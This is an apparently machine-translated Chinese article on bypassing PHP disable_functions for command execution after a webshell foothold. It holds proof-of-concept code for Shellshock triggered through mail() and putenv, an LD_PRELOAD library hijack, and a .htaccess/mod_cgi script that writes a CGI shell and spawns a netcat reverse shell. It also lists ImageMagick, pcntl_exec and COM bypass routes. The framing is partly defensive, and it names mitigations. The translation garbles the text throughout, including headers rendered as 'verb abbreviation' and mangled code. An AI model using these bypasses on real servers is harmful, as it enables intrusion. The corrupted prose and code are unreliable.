1.为什么绕过禁用功能
为了安全起见,很多运维人员会禁用PHP的一些“危险”功能,比如eval、exec、system等。并将它们写入php.ini配置文件,这就是我们所说的disable函数,尤其是对于虚拟主机操作符。为了将客户与同一台服务器完全隔离,避免大规模的安全问题,禁用功能的设置通常会更加严格。
进攻和防守是对立的,相辅相成的。既然有禁用功能的措施,有些人会想尽办法突破这个限制。只有掌握突破的方法和原则,才能更好地防范此类攻击。
执行系统命令通常是攻击者在获得网站webshell后采取进一步行动的不可避免的操作。如果他们不能执行系统命令,进一步的攻击就很难继续下去,所以出现了网站管理员禁用exec和system等功能的现象。然而,随着技术的不断进步,新的想法出现了。在某些情况下,简单地禁用这些功能不再能阻止攻击者达到执行系统命令的目的。那么,攻击者是如何突破禁用功能的呢?我们如何防止这种攻击?
二是Bash漏洞导致的任意命令执行
GNU Bash环境变量远程命令执行漏洞(CVE-2014-6271)是GNU Bash的一个远程代码执行漏洞。在这个CVE的介绍中,我们可以看到如下描述:“GNU Bash 4.3和之前的版本中存在一个安全漏洞,这是由于程序未能正确处理环境变量值中的函数定义造成的。远程攻击者可以利用此漏洞,通过特制的环境变量执行任意代码。可以利用以下产品和模块:OpenSSH sshd中的ForceCommand功能、Apache HTTP Server中的mod_cgi和mod_cgid模块、DHCP客户端等。实际上,PHP可以利用这个漏洞做很多事情,甚至直接导致远程命令80执行。有关此漏洞的详细信息,请参考CVE-2014-6271的相关资料,此处不再赘述。
让我们看看PHP可以在哪里使用bash的这个漏洞。其实可以用在不止一个地方。这里我们以邮件功能为例,其他地方都一样,可以自己分析。
PHP的mail函数提供了三个必需参数和两个可选参数。这里我们主要看最后一个参数,在PHP的官方手册中有描述:
" additional_parameters参数可用于向使用sendmail_pa thconfiguration设置发送邮件时配置使用的程序传递附加参数。例如,当使用带有-f sendmail选项的sendmail时,这可用于设置信封senderaddress。当使用此方法设置信封发件人(-f)时,应该将web服务器作为受信任用户运行的用户添加到ndmail配置中,以防止将“X-Warning”标头添加到邮件中。对于sendmailusers,此文件是/etc/mail/受信任用户。
简单来说,这个参数可以在发送邮件时通过添加额外的命令进行配置。例如,可以使用-f参数设置电子邮件的发件人。示例#3中也演示了官方文档。详情请参考官方文件:http://php.net/manual/zh/function.mail.php.
在mail函数的源代码mail.c中,我们可以找到以下代码片段:
if (extra_cmd!=NULL) { spprintf(sendmail_cmd,0,' %s %s ',sendmail_path,extra _ cmd);} else { sendmail _ cmd=sendmail _ path;}如果传递了第五个参数(extra_cmd),则使用spprintf将sendmail_path和extra_cmd拼接成sendmail_cmd(其中sendmail_path是php.ini中的sendmail_path配置项),然后将sendmail_cmd抛出给popen执行:
# ifdef PHP _ WIN32 sendmail=popen _ ex(sendmail _ cmd,' wb ',NULL,NULL TSRMLS _ CC);#else /*/errno=0;sendmail=popen(sendmail_cmd,' w ');#endif如果系统的默认sh是bash,那么popen会派生bash进程,而我们刚才提到的漏洞CVE-2014-6271直接导致我们使用mail()函数执行任意命令,绕过disable_functions的限制。但是这里其实有一个问题,就是extra_cmd在spprintf之前已经做了安全检查,我目前的PHP版本是最新的7.2.4,代码位于mail.c的第371-375行:
if(force _ extra _ parameters){ extra _ cmd=PHP _ escape _ shell _ cmd(force _ extra _ parameters);} else if(extra _ cmd){ extra _ cmd=PHP _ escape _ shell _ cmd(ZSTR _ VAL(extra _ cmd));PHP _ escape _ shell _ cmd函数将检查特殊字符(包括` | *?~ () [] {} $ , x0a和 xff。等等。)逃避,那么就没有出路了吗?不可以,我们可以通过putenv函数设置一个包含用户自定义函数的环境变量,然后通过mail函数触发。概念验证已经存在于互联网上。
Imap_mail也是调用popen派生进程的php函数,或者可能还有其他我们没有发现的函数,所以想要防范这种攻击,最好的办法就是修复CVE-2014-6271,一个bash漏洞。
第三,LD_PRELOAD:不需要bash漏洞
如上所述,邮件功能可以突破禁用功能的限制,利用bash破壳漏洞执行系统命令。但是对于这样的漏洞,一般安全意识稍微好一点的运维人员都会打补丁,那么打完补丁是否安全呢?显然,答案是否定的,LD_PRELOAD是Linux系统下一个有趣的环境变量:
“它允许您定义在程序运行之前首先加载的动态链接库。该函数主要用于在不同的动态链接库中有选择地加载相同的函数。通过这个环境变量,我们可以在主程序与其动态链接库之间加载其他动态链接库,甚至覆盖正常的函数库。我们一方面可以用自己的或者更好的函数配合这个函数(不用别人的源代码),另一方面也可以把程序注入别人的程序中,达到特定的目的。”
它允许您定义在程序运行之前首先加载的动态链接库。我们只需要知道一件事。这是什么意思?这表明我们几乎可以劫持php的大部分功能,并以上面的邮件功能为例。如上所述,PHP的mail函数实际上调用了系统的sendmail命令,所以我们来看看sendmail调用了哪些库函数:
使用readelf -Ws /usr/sbin/sendmail命令进行检查,发现sendmail函数在运行过程中动态调用了很多标准库函数,我们随机选择了一个库函数geteuid进行测试。
首先,我们编写自己的动态链接程序hack.c:
# include stdlib . h # include stdio . h # include string . h void payload(){ system(' touch/var/www/html/test ');} int geteuid(){ if(getenv(' LD _ PRELOAD ')==NULL){ return 0;} unset en v(' LD _ PRADE ');有效载荷();}当调用此共享库中的geteuid时,尝试加载payload()函数,执行命令,并在/var/www/html目录中创建一个名为test的文件。在这里的实际应用中,要注意编译平台和目标尽量接近,注意路径问题,避免不必要的麻烦。这里我们只作为一个测试,不考虑这些问题。
[[email protected]]# gcc-c-fpiachack . c-ohack[[email protected]]# gcc-sharedhack-ohack .所以我们把hack.so放到WEB目录下,然后写一个PHP文件来测试:
?phpputenv(' LD _ PRELOAD=/var/www/html/hack . so ');邮件('[电子邮件保护]','','','',' ');我们的目录原本只有两个文件,哈克和index.php。当我们在浏览器中访问index.php页面时,我们可以看到目录中还有另一个测试文件,表明我们的系统命令已经成功执行。
(PS:我其实是在VMPlayer 7 CentOS 7 Apache 2.4 PHP 7 . 2 . 4的环境下测试的。测试的时候遇到了一个问题,就是每次刷新访问index.php的时候,虚拟机的VM进程都会疯狂读写硬盘,几乎垄断了磁盘(机械硬盘)所有的活动时间,导致虚拟机卡顿导致鼠标无法移动,物理机明显卡顿。大概半个小时左右,这种情况会突然消失,最终的测试结果会是。不知道是什么原因导致了这种现象,需要进一步研究,但已经超出了本文的范围。)
这种绕过行为实现简单,目前为止不受PHP和Linux版本的限制,但也很容易防御,只需禁用相关函数(putenv)或限制环境变量的传输,但要注意是否会影响现有业务。
其实对于这个问题,早在2008年就有人正式给PHP反馈了,但是PHP给出的回复是最好禁用putenv函数:https://bugs.php.net/bug.php? Id=46741,所以我们有理由相信后续的PHP版本中不会有针对这个问题的具体解决方案。
第四、htaccess:不仅是重定向
每个人都必须熟悉。htaccess文件。是的,在apache WEB环境中,我们经常使用这个文件来确定某个目录中的URL重写规则,尤其是在一些开源CMS或者框架中,比如著名的开源论坛discuz!网址可以静态通过。htaccess文件。大多数PHP框架,如ThinkPHP和Laravel,都使用。在apache环境中实现路由规则的htaccess文件。但是如果。htaccess文件被攻击者修改,攻击者可以使用apache的mod_cgi模块直接绕过PHP的任何限制,执行系统命令。
关于mode_cgi,可以参考apache官方描述:http://man.chinaunix.net/newsoft/apachemanual/mod/mod _ cgi.html。
"任何具有mime类型application/x-httpd-cgi或由cgi-script处理器(Apache 1.1或更高版本)处理的文件都将被视为cgi脚本并由服务器运行,其输出将返回给客户端。有两种方法可以使文件成为CGI脚本,要么文件具有AddType指令定义的扩展名,要么文件位于ScriptAlias目录中。”这意味着apache允许WEB服务器与可执行文件交互,这意味着您可以用C或python编写WEB应用程序。听起来好像我们可以做任何apache用户可以做的事情,那么如何实现呢?
首先需要满足几个条件。首先,必须是apache环境。第二,mod_cgi已启用(在我的环境中默认启用)。第三。必须允许htaccess文件。也就是说,在httpd.conf中,需要注意的是AllowOverride选项是all,而不是none。第四,你必须有写的权限。htaccess文件。其实这些条件都是比较容易满足的。如果满足以上条件,就可以“做事”了。
在apache配置中,有一个非常重要的指令。选项,选项指令是Apache配置文件中常见且重要的指令。选项指令可用于Apache服务器配置、虚拟主机、特定目录和。htaccess文件。选项指令的主要功能是控制将在特定目录中启用哪些服务器功能。关于options命令后可以附加的Options特性的具体功能和含义,请参考本文:http://www.365mini.com/page/apache-options-directive.htm,当然,我们使用的是ExecCGI选项,这意味着允许使用mod_cgi模块执行CGI脚本。除了选项之外,我们还必须将它与另一个AddHandler指令结合使用。如果您不熟悉AddHandler,那么会更容易理解:AddType必须是我们熟悉的,例如,当apache支持PHP时。经常会添加一个像addtypeapplication/x-httpd-PHP . PHP这样的配置,它实际上指定了文件扩展名和内容类型之间的映射关系,而AddHandler则指定了扩展名和处理程序之间的关系,即它可以指定如何处理特定扩展名的文件。
有了Options和AddHandler,我们可以随机指定一个特定的文件扩展名,由特定的程序来处理,所以思路很明确:先把要执行的程序写入一个特定扩展名的文件,然后修改。htaccess文件,允许mod_cgi模块通过Options指令执行cgi脚本,然后让我们的特定扩展名被cgi-script处理,这样我们甚至可以弹壳出来。
概念验证如下,并附有注释:
?PHP $ cmd=' NC-c '/bin/bash ' 127 . 0 . 0 . 1 4444 ';//反弹一个shell,这里使用本地4444端口$shellfile='#!/bin/bash n ';//指定shell $ shellfile。=' echo-ne '内容类型: text/html n n ' n ';//您需要指定这个头,否则它将返回500$shellfile。=' $ cmdfunctioncheckEnabled($text,$condition,$yes,$ no)//这个肯定可以短一点{ echo '$text: '。($条件?$yes : $no)。br n ';}if(!isset($ _ GET[' checked ']){ @ file _ put _ contents('。htaccess ',' nSetEnv HTACCESS on ',FILE _ APPEND);标题(' Location: '。$_SERVER['PHP_SELF']。checked=true’);//检查执行环境} else { $ mod CGI=in _ array(' mod _ CGI ',Apache _ get _ modules());//检查mod_cgi是否打开$可写=is _可写('.');//检查当前目录是否可以写$htaccess=!空($ _ SERVER[' HTACCESS ']);//检查是否。htaccess check enabled(' mod-CGI enabled ',$ modcgi,' yes ',' no ')已启用;checkEnabled('Iswritable ',$ written,' Yes ',' No ');checkEnabled('htaccessworking ',$htaccess,' Yes ',' No ');if(!($ modcgi $可写$htaccess)) { echo '错误。以上所有这些都必须是真实的,脚本才能工作!//必须满足所有条件}否则{检查已启用(' backing up.htaccess ',copy('。htaccess ','。htaccess.bak '),'成功!保存在. htaccess.bak中,“‘失败!’);//备份原件。htaccesscheckenabled ('write。htaccess文件',file _ put _ contents('。htaccess ',' options exec CGI naddhandler CGI-script . dizzle '),'成功!',‘失败了!’);//.dizzle,我们的特定扩展名是checkenabled ('write shell file ',file _ put _ contents(' shell . dizzle ',$ shell file),' succeeded!',‘失败了!’);//写入文件checkenabled ('chmod 777 ',chmod ('shell.dizzle ',0777),'成功!',‘失败了!’);//允许echo现在执行脚本。请检查您的侦听器img src=' shell . dizzle ' style=' display : none;'';//调用}}?我们打开nc在本地监听端口4444,然后在浏览器中打开这个页面。如果执行成功,外壳将弹回端口4444:
访问POC时,一个shell成功弹回本地端口4444,执行id命令后可以看到回音。
动词(verb的缩写)其他方式
除了以上方法,在一些特定的情况下,还有很多方法可以绕过php.ini的disable功能,达到执行系统命令的目的。然而,由于这些方法受到许多限制,很少有真正符合条件的环境。因此,出于篇幅原因,下面仅简单介绍其他几种旁路方法,并提供相关详细文章的链接。如果有兴趣详细了解,可以参考网上的相关信息。
简介
ImageMagick是一个广泛使用的图像处理程序。很多厂商包括Discuz、Drupal、Wordpress等常用的CMS也调用ImageMagick扩展或ImageMagick库进行图像处理,包括图像缩放、裁剪、水印、格式转换等。6.9.3-9之前的ImageMagick所有版本都存在漏洞。当用户传入包含“异常内容”的图片时,可能会触发命令注入。官方对6.9.3-9版本的漏洞进行了不完整的修复。请参考此漏洞的具体利用和防御方法:
http://wooyun.jozxing.cc/static/drops/papers-15589.html .
pcntl_exec
Pcntl是linux的扩展,可以支持php多线程。Exec函数经常被禁用,但如果运维人员没有意识到安全性或者对PHP知之甚少,很可能会忽略pcntl扩展的相关功能。
组件
在Windows环境下,当php.ini的设置项COM.allow _ DCOM为真时,可以通过COM组件执行系统命令,甚至可以开启安全模式。有关相关信息,请参考https://www.exploit-db.com/exploits/4553/。
win32std
Win32std是一个旧的PHP扩展,其中win_shell_execute函数可以用来执行Windows系统命令:https://www.exploit-db.com/exploits/4218/.
不及物动词摘要
对于入侵者来说,如果他们想在获得一个webshell后获得更高的权限或更多的数据和信息,那么执行系统命令几乎是必要的。当PHP应用程序中存在一些导致入侵的缺陷时,如何最小化损失成为首要问题。从本文列举的方法中不难看出,只要掌握了这些原则,防范工作就非常简单有效,只要时刻关注安全动向,就完全可以防御上述绕过措施。
以上是PHP通过边肖介绍的旁路disable函数执行系统命令的方法总结,希望对大家有所帮助。如果你有任何问题,请给我留言,边肖会及时回复你。非常感谢您对我们网站的支持!